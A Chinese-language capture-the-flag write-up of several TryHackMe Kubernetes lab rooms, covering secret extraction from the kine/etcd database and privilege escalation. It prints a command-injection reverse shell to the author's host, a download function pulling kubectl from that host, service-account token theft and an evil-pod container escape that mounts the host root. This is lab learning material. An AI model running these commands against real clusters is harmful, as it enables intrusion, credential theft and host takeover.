TryHackMe-K8s
Kubernetes for Everyone
fscan 输出结果
1 | start infoscan |
8.3.0存在任意文件读取的洞
这最后一行可以留个印象 等会会用到
5000端口
这个注释有东西
访问该网站 得到了这个base32加密的东西
解密得到 vagrant (用户名)
上面的留意的那个是密码 然后ssh登录上去
k0s (k8s 轻量版), kine (etcd), 还有 docker
etcd 可以理解为数据库 里面存一些配置文件啥的
k8s相当于docker pods相当于docker里的容器
这里将数据库拖到本地看 因为这个玩意太卡了
开个服务传到本地就行了
根据提示去 secrets 里面找内容
1 | select name,hex(value) from kine where name like '%/registry/secrets/default/%'; |
然后本地解码一下
一般在 kube-system 里面的 pod 都是 k8s 自己的服务, 并且会有一段随机后缀
但是这里没
读取一下里面的内容
1 | select hex(value) from kine where name like '%/registry/pods/kube-system/kube-api%'; |
这里其实也是对hex编码 然后我们还是挨个解码 并且访问
这里解码得出 https://hub.docker.com/r/csaju/jokes
我们将其docker pull 一下 拉到本地
1 | docker run -it --entrypoint /bin/bash csaju/jokes |
查看git日志 然后挨个看看提交了什么
flag到手
最后需要找 interview 什么的
发现 internship-job-5drbm
的 pod
去读取他的值
1 | select hex(value) from kine where name like '%/registry/pods/internship/internship-job-5drbm%'; |
还是一样去解码
这里用一下xz师傅的图
Insekube
这傻逼靶机也出问题了 就是80端口扫不出来 直接80端口访问是可以的
一个ping命令的RCE
1 | 1;bash -i >& /dev/tcp/10.14.53.199/1234 0>&1 |
环境变量中有flag 然后也发现了 其使用K8s来管理这些容器 说明我们现在也在容器中 没在真正的服务器里
上传kubectl
查看开了哪些容器看不了 然后就看一下开了哪些权限
1 | ./kubectl get pods |
发现这里这个secrets可以读
1 | ./kube* get secrets |
接着读这个flag
1 | ./kube* get secrets secretflag -o json |
查看环境变量发现存在个内网的GRAFANA 上个代理出来访问
1 | /var/run/secrets/kubernetes.io/serviceaccount/token |
1 | ./kube* get pods --token $token |
出现这个的话就是代表着有了最高权限了 我们进入到grafana这个容器内
1 | ./kube* exec -it grafana-57454c95cb-f9js5 bash --token $token |
第三个flag到位了
最后一步进行k8s逃逸 (其实和docker逃逸差不多)
先获取一下镜像名
1 | ./kubectl get pods --all-namespaces -o=jsonpath='{range .items[*].spec.containers[*]}{.image}{"\n"}{end}' |
这里选的是这个syringe:latest
evil-pod.yaml
1 | apiVersion: v1 |
上传到容器内
1 | ./kube* apply -f evil* --token $token |
然后运行 新建一个容器 /host目录挂载着这个逃逸出来主机的根目录
然后进入这个主机内
1 | ./kube* exec -it evil-pod bash --token $token |
这样就全部结束了
Frank and Herby try again…..
fscan
1 | start infoscan |
30679这个端口存在官方后门 直接找poc反弹shell
这里wget命令没法用 直接用自定义的函数
1 | function DOWNLOAD() { |
1 | DOWNLOAD http://10.14.53.199:8000/kubectl > kubectl |
在等这个下载过程中 发现这个kubectl还存在未授权访问 (10255端口)
这里直接使用了这个镜像
(这里download下的好慢 感觉不如写个后门然后连蚁剑上传上去来的快)
这个直接就是最高权限了
网卡死了。。。。。。。。。。。。。。。
接下来直接就是和上面一样 逃逸就行了
也是看镜像 然后逃逸 就行了
PalsForLife
感觉其他的都差不多 就这个稍微有点意思
rustscan
1 | Open 10.10.19.196:22 |
挨个访问 挨个扫一下目录
31111 gitea
30180 /team
dirsearch
将这个base64编码解码后转化输出给PDF文件
使用john工具来爆破一下密码
爆破密码
查看
pdf内容
不知道有啥用 接着去看gitea这个web页面 31111端口
发现有个用户 尝试登录一下 使用pdf爆出来的字符串
登录成功后发现有个私有仓库
仓库的webhooks里就有个flag
然后查到这个gitea版本存在有个hook—RCE
https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce
跟着来打就行了 这里新打的时候有个坑 就是邮件账户需要配置正确 不然会失败
第二个flag
直接给了管理员权限 然后直接逃逸
查看一下镜像
1 | kubectl get pods --all-namespaces -o=jsonpath='{range .items[*].spec.containers[*]}{.image}{"\n"}{end}' |
evil-pod.yaml
1 | apiVersion: v1 |
这里用的是这个nginx这个镜像
1 | ./kube* apply -f evil-pod.yaml //创建容器 |
进入到容器内
拿到最后一个flag了 突然发现还有一个 猜测是在secret中
查看这个flag文件
-n
指定命名空间 -o
指定输出格式
然后解码就行了